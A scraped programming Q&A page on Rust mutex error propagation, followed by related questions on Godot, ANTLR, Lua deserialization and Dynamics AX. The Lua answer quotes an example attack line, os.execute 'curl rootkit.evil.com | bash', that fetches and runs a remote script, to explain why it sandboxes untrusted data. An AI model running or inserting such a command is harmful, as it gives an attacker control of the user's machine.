I'm trying to do several operations with a variable that is shared across threads, encapsulated in an Arc<Mutex>. As not all of the operations may be successful, I'm trying to use the try! macro, or the ? operator, to auto-propagate the errors.
Here's a minimum viable example of my code:
lazy_static! {
static ref BIG_NUMBER: Arc<Mutex<Option<u32>>> = Arc::new(Mutex::new(Some(174)));
}
pub fn unpack_big_number() -> Result<u32, Box<Error>> {
let big_number_arc = Arc::clone(&BIG_NUMBER);
let mutex_guard_result = big_number_arc.lock();
let guarded_big_number_option = mutex_guard_result?;
let dereferenced_big_number_option = *guarded_big_number_option;
let big_number = dereferenced_big_number_option.unwrap();
// do some subsequent operations
let result = big_number + 5;
// happy path
Ok(result)
}
You will notice that in the line where I declare guarded_big_number_option, I have a ? at the end. This line is throwing the following compiler error (which it does not when I replace the ? with .unwrap():
error[E0597]: `big_number_arc` does not live long enough
--> src/main.rs:32:30
|
7 | let mutex_guard_result = big_number_arc.lock();
| ^^^^^^^^^^^^^^ borrowed value does not live long enough
...
17 | }
| - borrowed value only lives until here
|
= note: borrowed value must be valid for the static lifetime...
Now the thing is, it is my understanding that I'm not trying to use big_number_arc beyond its lifetime. I'm trying to extract a potential PoisonError contained within the result. How can I properly extract that error and make this propagation work?
Additionally, if it's any help, here's a screenshot of the type annotations that my IDE, CLion, automatically adds to each line:
lock() function returns LockResult<MutexGuard<T>>. Documentation says the following:
Note that the Err variant also carries the associated guard, and it can be acquired through the into_inner method
so you're essentially trying to return a reference to a local variable (wrapped into PoisonError struct), which is obviously incorrect.
How to fix it? You can convert this error to something with no such references, for example to String:
let guarded_big_number_option = mutex_guard_result.map_err(|e| e.to_string())?;
Related
Let's define 2 classes
A.gd
class_name A
var v = null
func _init(v_):
v = v_
B.gd
class_name B
var v = null
Now, when I try to use str2var/var2str, this is what I get
var a = A.new("aaa")
var b = B.new()
b.v = "bbb"
printt("var2str(a):", var2str(a))
printt("var2str(b):", var2str(b))
printt ("var2str(str2var(var2str(a))):", var2str(str2var(var2str(a))))
printt ("var2str(str2var(var2str(b))):", var2str(str2var(var2str(b))))
Output:
var2str(a): Object(Reference,"script":Resource( "res://Scripts/AI/A.gd"),"v":"aaa")
var2str(b): Object(Reference,"script":Resource( "res://Scripts/AI/B.gd"),"v":"bbb")
var2str(str2var(var2str(a))): Object(Reference,"script":null)
var2str(str2var(var2str(b))): Object(Reference,"script":Resource( "res://Scripts/AI/B.gd"),"v":"bbb")
Why is str2var(a) not working?
How should I fix it?
The Solution
Fix it by making the parameter optional, for example:
class_name A
var v = null
func _init(v_ = null):
v = v_
With that there is no error. I get this output:
var2str(a): Object(Reference,"script":Resource( "res://A.gd"),"v":"aaa")
var2str(b): Object(Reference,"script":Resource( "res://B.gd"),"v":"bbb")
var2str(str2var(var2str(a))): Object(Reference,"script":Resource( "res://A.gd"),"v":"aaa")
var2str(str2var(var2str(b))): Object(Reference,"script":Resource( "res://B.gd"),"v":"bbb")
The problem
For abstract, str2var will not pass any arguments to _init. It would not know what to pass anyway.
The rest of the answer is the process of confirming that str2var will result in calling _init with no argument.
When I try your code I get this error:
E 0:00:00.630 _create_instance: Condition "r_error.error != Variant::CallError::CALL_OK" is true. Returned: __null
<C++ Source> modules/gdscript/gdscript.cpp:121 # _create_instance()
<Stack Trace> main.gd:12 # _ready()
We can find the line that throws the error in _create_instance by looking at the source.
Sadly that does not give me much information. So, I decided to search how str2var is implemented.
We find it inside GDScriptFunctions::call, here. Which calls VariantParser::parse, which calls VariantParser::parse_value. We are interested in the case of an "Object" (here). And that results in a call to ClassDB::instance(type). There type will be "Reference", and then it procedes to set all properties as they come. Being the first one "script":Resource("res://A.gd").
When we set the script (here), it will result in a call to GDScript::instance_create. Which calls GDScript::_create_instance (here):
return _create_instance(NULL, 0, p_this, Object::cast_to<Reference>(p_this) != NULL, unchecked_error)
With no argument for _init (The NULL is the argument array, and 0 is the number of arguments). This is the signature for GDScript::_create_instance:
GDScriptInstance *GDScript::_create_instance(const Variant **p_args, int p_argcount, Object *p_owner, bool p_isref, Variant::CallError &r_error)
Of course, initializer->call(instance, p_args, p_argcount, r_error); fails, because _init requires an argument. And we find the line that throws the error further down. Note: initializer is created while parsing the script.
I write (own lang -> JS) transpiler, using ANTLR (javascript target using visitor).
Focus is on variations, in target code generation.
An earlier SO post, described solution to a simpler situation. This one being different, primarily due to recursion being involved.
Grammar:
grammar Alang;
...
variableDeclaration : DECL (varDecBl1 | varDecBl2) EOS;
varDecBl1 : ID AS TYP;
varDecBl2 : CMP ID US (SGST varDecBl1+ SGFN);
...
DECL : 'var-declare' ;
EOS : ';' ;
SGST : 'segment-start:' ;
SGFN : 'segment-finish' ;
AS : 'as';
CMP : 'cmp';
US : 'using';
TYP
: 'str'
| 'int'
| 'bool'
;
ID : [a-zA-Z0-9_]+ ;
Two different cases of source code needs to be handled differently.
Source code 1:
var-declare fooString as str;
target of which needs to come out as: var fooString;
Source code 2:
var-declare cmp barComplex using
segment-start:
barF1 as int
barF2 as bool
barF3 as str
segment-finish;
target of this one has to be: var barComplex = new Map();
(as simple var declaration can't handle value type)
code generation done using:
visitVarDecBl1 = function(ctx) {
this.targetCode += `var ${ctx.getChild(0).getText()};`;
return this.visitChildren(ctx);
};
....
visitVarDecBl2 = function(ctx) {
this.targetCode += `var ${ctx.getChild(1).getText()} = new Map();`;
return this.visitChildren(ctx);
};
(targetCode consolidates the target code)
Above works for case 1.
For case 2, it ends up going beyond var barComplex = new Map(), due to recursive use of rule varDecBl1, which invokes visitVarDecBl1 code gen implement again.
Wrong outcome:
var barComplex = new Map();
var barF1; // <---- wrong one coming from visitVarDecBl1
var barF2; // <---- wrong
var barF3; // <---- wrong
To deal with this, one approach that I want to try, is to make visitVarDecBl1 conditional to parent ctx.
If parent = variableDeclaration, target code = var ${ctx.getChild(0).getText()};.
If parent = varDecBl2, skip generation of code.
But I can't find invoking rule within ctx payload, that I can string compare.
Using something like ctx.parentCtx gives me [378 371 204 196 178 168] (hashes?).
Inputs welcome. (including proposal of a better approach, if any)
In case anyone comes looking with similar situation at hand, I post the answer myself.
I dealt with it by extracting parent rule myself.
util = require("util");
...
// parentCtx object -> string
const parentCtxStr = util.inspect(ctx.parentCtx);
// snip out parent rule from payload, e.g.: 'varDecBl2 {…, ruleIndex: 16, …}'
const snip = parentCtxStr.slice(0,parentCtxStr.indexOf("{")-1); // extracts varDecBl2 for you
}
Now use value of snip to deal with as described above.
Of course, this way establishes a coupling to how payload is structured. And risk breaking in future if that is changed.
I'd rather use same stuff through the API, though I couldn't find it.
I have been looking for a solution everywhere on the internet but nowhere I can see a single script which lets me read the name of a variable as a string in Godot 3.1
What I want to do:
Save path names as variables.
Compare the name of the path variable as a string to the value of another string and print the path value.
Eg -
var Apple = "mypath/folder/apple.png"
var myArray = ["Apple", "Pear"]
Function that compares the Variable name as String to the String -
if (myArray[myposition] == **the required function that outputs variable name as String**(Apple) :
print (Apple) #this prints out the path.
Thanks in advance!
I think your approach here might be a little oversimplified for what you're trying to accomplish. It basically seems to work out to if (array[apple]) == apple then apple, which doesn't really solve a programmatic problem. More complexity seems required.
First, you might have a function to return all of your icon names, something like this.
func get_avatar_names():
var avatar_names = []
var folder_path = "res://my/path"
var avatar_dir = Directory.new()
avatar_dir.open(folder_path)
avatar_dir.list_dir_begin(true, true)
while true:
var avatar_file = avatar_dir.get_next()
if avatar_file == "":
break
else:
var avatar_name = avatar_file.trim_suffix(".png")
avatar_names.append(avatar_name)
return avatar_names
Then something like this back in the main function, where you have your list of names you care about at the moment, and for each name, check the list of avatar names, and if you have a match, reconstruct the path and do other work:
var some_names = ["Jim","Apple","Sally"]
var avatar_names = get_avatar_names()
for name in some_names:
if avatar_names.has(name):
var img_path = "res://my/path/" + name + ".png"
# load images, additional work, etc...
That's the approach I would take here, hope this makes sense and helps.
I think the current answer is best for the approach you desire, but the performance is pretty bad with string comparisons.
I would suggest adding an enumeration for efficient comparisons. unfortunately Godot does enums differently then this, it seems like your position is an int so we can define a dictionary like this to search for the index and print it out with the int value.
var fruits = {0:"Apple",1:"Pear"}
func myfunc():
var myposition = 0
if fruits.has(myposition):
print(fruits[myposition])
output: Apple
If your position was string based then an enum could be used with slightly less typing and different considerations.
reference: https://docs.godotengine.org/en/latest/tutorials/scripting/gdscript/gdscript_basics.html#enums
Can't you just use the str() function to convert any data type to stirng?
var = str(var)
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.
I am modifying the SalesConfirmDP class and trying to add the CustVendExternalItem.ExternalItemTxt field into a new field I have created.
I have tried a couple of things but I do not think my syntax was correct i.e I declare the CustVendExternalItem table in the class declaration. But then when I try to insert CustVendExternalItem.ExternalItemTxt into my new field, it does not populate, I guess there must be a method which I need to include?
If anyone has any suggestion it would be highly appreciated.
Thank you in advance.
private void setSalesConfirmDetailsTmp(NoYes _confirmTransOrTaxTrans)
{
DocuRefSearch docuRefSearch;
// Body
salesConfirmTmp.JournalRecId = custConfirmJour.RecId;
if(_confirmTransOrTaxTrans == NoYes::Yes)
{
if (printLineHeader)
{
salesConfirmTmp.LineHeader = custConfirmTrans.LineHeader;
}
else
{
salesConfirmTmp.LineHeader = '';
}
salesConfirmTmp.ItemId = this.itemId();
salesConfirmTmp.Name = custConfirmTrans.Name;
salesConfirmTmp.Qty = custConfirmTrans.Qty;
salesConfirmTmp.SalesUnitTxt = custConfirmTrans.salesUnitTxt();
salesConfirmTmp.SalesPrice = custConfirmTrans.SalesPrice;
salesConfirmTmp.DlvDate = custConfirmTrans.DlvDate;
salesConfirmTmp.DiscPercent = custConfirmTrans.DiscPercent;
salesConfirmTmp.DiscAmount = custConfirmTrans.DiscAmount;
salesConfirmTmp.LineAmount = custConfirmTrans.LineAmount;
salesConfirmTmp.CurrencyCode = custConfirmJour.CurrencyCode;
salesConfirmTmp.PrintCode = custConfirmTrans.TaxWriteCode;
if (pdsCWEnabled)
{
salesConfirmTmp.PdsCWUnitId = custConfirmTrans.pdsCWUnitId();
salesConfirmTmp.PdsCWQty = custConfirmTrans.PdsCWQty;
}
**salesConfirmTmp.ExternalItemText = CustVendExternalItem.ExternalItemTxt;**
if ((custFormletterDocument.DocuOnConfirm == DocuOnFormular::Line)
|| (custFormletterDocument.DocuOnConfirm == DocuOnFormular::All))
{
docuRefSearch = DocuRefSearch::newTypeIdAndRestriction(custConfirmTrans,
custFormletterDocument.DocuTypeConfirm,
DocuRestriction::External);
salesConfirmTmp.Notes = Docu::concatDocuRefNotes(docuRefSearch);
}
salesConfirmTmp.InventDimPrint = this.printDimHistory();
Well, AX cannot guess which record you need, there is a helper class CustVendExternalItemDescription to deal with it:
boolean found;
str externalItemId;
...
[found, externalItemId, salesConfirmTmp.ExternalItemText] = CustVendExternalItemDescription::findExternalItemDescription(
ModuleCustVend::Cust,
custConfirmTrans.ItemId,
custConfirmTrans.inventDim(),
custConfirmJour.OrderAccount,
CustTable::find(custConfirmJour.OrderAccount).CustItemGroupId);
The findExternalItemDescription method returns more information than you need here, but you have to define variables to store it anyway.
Well, the steps to solve this problem are fairly easy and i will try to give you a step by step approach how to solve this problem.
1) Are you initialising CustVendExternalItem properly? Make a record of the same and initialise it as Jan has shown above, then debug your code and see if the value is being initialised in your DP class.
2)If your value is being initialised correctly, but it is not showing up in the report design there can be multiple issues such as:
Overlapping of text boxes.
Insufficient space for the given field
Some report parameter/property not being set correctly which causes
your value not to show up on the report.
Check these one by one and you should end up arriving towards a solution